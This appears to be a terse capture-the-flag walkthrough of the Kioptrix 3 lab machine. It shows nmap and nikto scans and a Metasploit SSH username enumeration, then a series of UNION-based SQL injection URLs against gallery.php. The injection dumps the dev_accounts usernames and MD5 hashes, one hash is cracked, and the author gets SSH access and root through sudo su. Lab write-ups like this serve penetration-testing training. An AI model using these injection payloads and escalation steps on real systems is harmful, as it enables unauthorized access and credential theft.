kioptrix3

Currently scanning: 192.168.47.0/16 | Screen View: Unique Hosts

4 Captured ARP Req/Rep packets, from 4 hosts. Total size: 240

IP	At MAC Address	Count	Len	MAC Vendor / Hostname
192.168.31.1	00:50:56:c0:00:08	1	60	VMware, Inc.
192.168.31.2	00:50:56:e5:d7:98	1	60	VMware, Inc.
192.168.31.143	00:0c:29:6f:6c:05	1	60	VMware, Inc.
192.168.31.254	00:50:56:ee:0b:fe	1	60	VMware, Inc.

IP address :-- 192.168.31.143

add host ip in kali

```
root@kali:~# cat /etc/hosts
127.0.0.1               localhost
127.0.1.1               kali
192.168.31.143      kioptrix3.com
# The following lines are desirable for IPv6 capable hosts
::1     localhost ip6-localhost ip6-loopback
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters
```

nmap

```
nmap -Pn -n -A -p- 192.168.31.143
Starting Nmap 7.70 ( https://nmap.org ) at 2019-09-13 07:20 EDT
Nmap scan report for 192.168.31.143
Host is up (0.0011s latency).
Not shown: 65533 closed ports
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 4.7p1 Debian 8ubuntu1.2 (protocol 2.0)
| ssh-hostkey:
|   1024 30:e3:f6:dc:2e:22:5d:17:ac:46:02:39:ad:71:cb:49 (DSA)
|_  2048 9a:82:e6:96:e4:7e:d6:a6:d7:45:44:cb:19:aa:ec:dd (RSA)
80/tcp open  http    Apache httpd 2.2.8 ((Ubuntu) PHP/5.2.4-2ubuntu5.6 with Suhosin-Patch)
| http-cookie-flags:
|   /:
|     PHPSESSID:
|_      httponly flag not set
|_http-server-header: Apache/2.2.8 (Ubuntu) PHP/5.2.4-2ubuntu5.6 with Suhosin-Patch
|_http-title: Ligoat Security - Got Goat? Security ...
MAC Address: 00:0C:29:6F:6C:05 (VMware)
Device type: general purpose
Running: Linux 2.6.X
OS CPE: cpe:/o:linux:linux_kernel:2.6
OS details: Linux 2.6.9 - 2.6.33
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE
HOP RTT     ADDRESS
1   1.14 ms 192.168.31.143

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 15.02 seconds
```

```
nmap -Pn -n -p80 --script=http-enum 192.168.31.143
Starting Nmap 7.70 ( https://nmap.org ) at 2019-09-13 07:21 EDT
Nmap scan report for 192.168.31.143
```

```
Host is up (0.00036s latency).

PORT   STATE SERVICE
80/tcp open  http
| http-enum:
|   /phpmyadmin/: phpMyAdmin
|   /cache/: Potentially interesting folder
|   /core/: Potentially interesting folder
|   /icons/: Potentially interesting folder w/ directory listing
|   /modules/: Potentially interesting directory w/ listing on 'apache/2.2.8 (ubuntu) php/5.2.4-2ubuntu5.6 with suhosin-patch'
|_  /style/: Potentially interesting folder
MAC Address: 00:0C:29:6F:6C:05 (VMware)

Nmap done: 1 IP address (1 host up) scanned in 1.71 seconds
```

nikto

```
nikto -h 192.168.31.143
- Nikto v2.1.6
---------------------------------------------------------------------------
+ Target IP:          192.168.31.143
+ Target Hostname:    192.168.31.143
+ Target Port:        80
+ Start Time:         2019-09-13 07:20:49 (GMT-4)
---------------------------------------------------------------------------
+ Server: Apache/2.2.8 (Ubuntu) PHP/5.2.4-2ubuntu5.6 with Suhosin-Patch
+ Retrieved x-powered-by header: PHP/5.2.4-2ubuntu5.6
+ The anti-clickjacking X-Frame-Options header is not present.
+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
+ The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type
+ Cookie PHPSESSID created without the httponly flag
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ Server may leak inodes via ETags, header found with file /favicon.ico, inode: 631780, size: 23126, mtime: Fri Jun  5 15:22:00 2009
+ Apache/2.2.8 appears to be outdated (current is at least Apache/2.4.37). Apache 2.2.34 is the EOL for the 2.x branch.
+ PHP/5.2.4-2ubuntu5.6 appears to be outdated (current is at least 7.2.12). PHP 5.6.33, 7.0.27, 7.1.13, 7.2.1 may also current release for each branch.
+ Web Server returns a valid response with junk HTTP methods, this may cause false positives.
+ OSVDB-877: HTTP TRACE method is active, suggesting the host is vulnerable to XST
+ OSVDB-12184: /?=PHPB8B5F2A0-3C92-11d3-A3A9-4C7B08C10000: PHP reveals potentially sensitive information via certain HTTP requests that contain specific QUERY strings.
+ OSVDB-12184: /?=PHPE9568F36-D428-11d2-A769-00AA001ACF42: PHP reveals potentially sensitive information via certain HTTP requests that contain specific QUERY strings.
+ OSVDB-12184: /?=PHPE9568F34-D428-11d2-A769-00AA001ACF42: PHP reveals potentially sensitive information via certain HTTP requests that contain specific QUERY strings.
+ OSVDB-12184: /?=PHPE9568F35-D428-11d2-A769-00AA001ACF42: PHP reveals potentially sensitive information via certain HTTP requests that contain specific QUERY strings.
+ OSVDB-3092: /phpmyadmin/changelog.php: phpMyAdmin is for managing MySQL databases, and should be protected or limited to authorized hosts.
+ OSVDB-3268: /icons/: Directory indexing found.
+ OSVDB-3233: /icons/README: Apache default file found.
+ /phpmyadmin/: phpMyAdmin directory found
+ OSVDB-3092: /phpmyadmin/Documentation.html: phpMyAdmin is for managing MySQL databases, and should be protected or limited to authorized hosts.
+ 7914 requests: 0 error(s) and 19 item(s) reported on remote host
+ End Time:           2019-09-13 07:21:24 (GMT-4) (35 seconds)
---------------------------------------------------------------------------
+ 1 host(s) tested
```

meta

```
msf5 > search openssh 4.7p1

Matching Modules
```

```
================

  #  Name                                  Disclosure Date  Rank       Check  Description
  -  ----                                  ---------------  ----       -----  -----------
  1  auxiliary/scanner/ssh/ssh_enumusers                    normal     Yes    SSH Username Enumeration
  2  exploit/windows/local/trusted_service_path  2001-10-25       excellent  Yes    Windows Service Trusted Path Privilege
Escalation
  3  post/multi/gather/ssh_creds                            normal     No     Multi Gather OpenSSH PKI Credentials Collection
  4  post/windows/manage/forward_pageant                    normal     No     Forward SSH Agent Requests To Remote Pageant


msf5 > use auxiliary/scanner/ssh/ssh_enumusers
msf5 auxiliary(scanner/ssh/ssh_enumusers) > show options

Module options (auxiliary/scanner/ssh/ssh_enumusers):

  Name        Current Setting  Required  Description
  ----        ---------------  --------  -----------
  CHECK_FALSE  false           no        Check for false positives (random username)
  Proxies                      no        A proxy chain of format type:host:port[,type:host:port][...]
  RHOSTS                       yes       The target address range or CIDR identifier
  RPORT       22               yes       The target port
  THREADS     1                yes       The number of concurrent threads
  THRESHOLD   10               yes       Amount of seconds needed before a user is considered found (timing attack only)
  USERNAME                     no        Single username to test (username spray)
  USER_FILE                    no        File containing usernames, one per line


Auxiliary action:

  Name            Description
  ----            -----------
  Malformed Packet  Use a malformed packet


msf5 auxiliary(scanner/ssh/ssh_enumusers) > set rhosts 192.168.13.143
rhosts => 192.168.13.143
msf5 auxiliary(scanner/ssh/ssh_enumusers) > exploit

[*] 192.168.13.143:22 - SSH - Using malformed packet technique
[-] Please populate USERNAME or USER_FILE
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf5 auxiliary(scanner/ssh/ssh_enumusers) > locate usernames
[*] exec: locate usernames

/usr/share/commix/src/txt/usernames.txt
/usr/share/metasploit-framework/vendor/bundle/ruby/2.5.0/gems/metasploit-credential-3.0.3/spec/factories/metasploit/
credential/blank_usernames.rb
/usr/share/metasploit-framework/vendor/bundle/ruby/2.5.0/gems/metasploit-credential-3.0.3/spec/factories/metasploit/
credential/usernames.rb
/usr/share/nmap/nselib/data/usernames.lst
/usr/share/pipal/checkers_available/usernames.rb
msf5 auxiliary(scanner/ssh/ssh_enumusers) > set USER_FILE /usr/share/commix/src/txt/usernames.txt
USER_FILE => /usr/share/commix/src/txt/usernames.txt
msf5 auxiliary(scanner/ssh/ssh_enumusers) > RUN
[-] Unknown command: RUN.
msf5 auxiliary(scanner/ssh/ssh_enumusers) > run
```

sql_inj

kioptrix3.com/gallery/gallery.php?id=1' &sort=photoid#photos

http://kioptrix3.com/gallery/gallery.php?id=1%20order%20by%207%20--%20&sort=photoid#photos

http://kioptrix3.com/gallery/gallery.php?id=1%20union%20select%20all%201,2,3,4,5,6--%20&sort=photoid#photos

http://kioptrix3.com/gallery/gallery.php?id=1%20union%20select%20all%201,2,database(),4,5,6--%20&sort=photoid#photos

gallery database

version - 5.0.51a-3ubuntu5.4

http://kioptrix3.com/gallery/gallery.php?id=1%20union%20select%20all%201,2,group_concat(table_name),
4,5,6%20from%20information_schema.tables%20--&sort=photoid#photos

tables :-

CHARACTER_SETS,COLLATIONS,COLLATION_CHARACTER_SET_APPLICABILITY,COLUMNS,COLUMN_PRIVILEGES,KEY_COLUMN_USAGE,

http://kioptrix3.com/gallery/gallery.php?id=1%20union%20select%20all%201,2,group_concat(column_name),
4,5,6%20from%20information_schema.columns%20where%20table_schema=database()%20--&sort=photoid#photos

columns : -

id,username,password,commentid,photoid,name,email,comment,dateadded,status,link,userid,galleryid,name,description,created,p

http://kioptrix3.com/gallery/gallery.php?id=1%20union%20select%20all%201,2,group_concat(username,0xA,password),
4,5,6%20from%20dev_accounts--&sort=photoid#photos

dreg - 0d3eccfb887aabd50f243b3f155c0f85,

loneferret - 5badcaf789d3d1d09794d8f021f40f0e

5badcaf789d3d1d09794d8f021f40f0e MD5 starwars

final exploit

```
ssh loneferret@192.168.31.143
loneferret@192.168.31.143's password:
Permission denied, please try again.
loneferret@192.168.31.143's password:
Permission denied, please try again.
loneferret@192.168.31.143's password:
Linux Kioptrix3 2.6.24-24-server #1 SMP Tue Jul 7 20:21:17 UTC 2009 i686

The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.

To access official Ubuntu documentation, please visit:
http://help.ubuntu.com/
Last login: Wed Sep 11 13:29:24 2019 from 192.168.31.148
loneferret@Kioptrix3:~$ sudo -l
User loneferret may run the following commands on this host:
    (root) NOPASSWD: /bin/su
    (root) NOPASSWD: /usr/local/bin/ht
loneferret@Kioptrix3:~$ sudo /bin/su
root@Kioptrix3:/home/loneferret#
```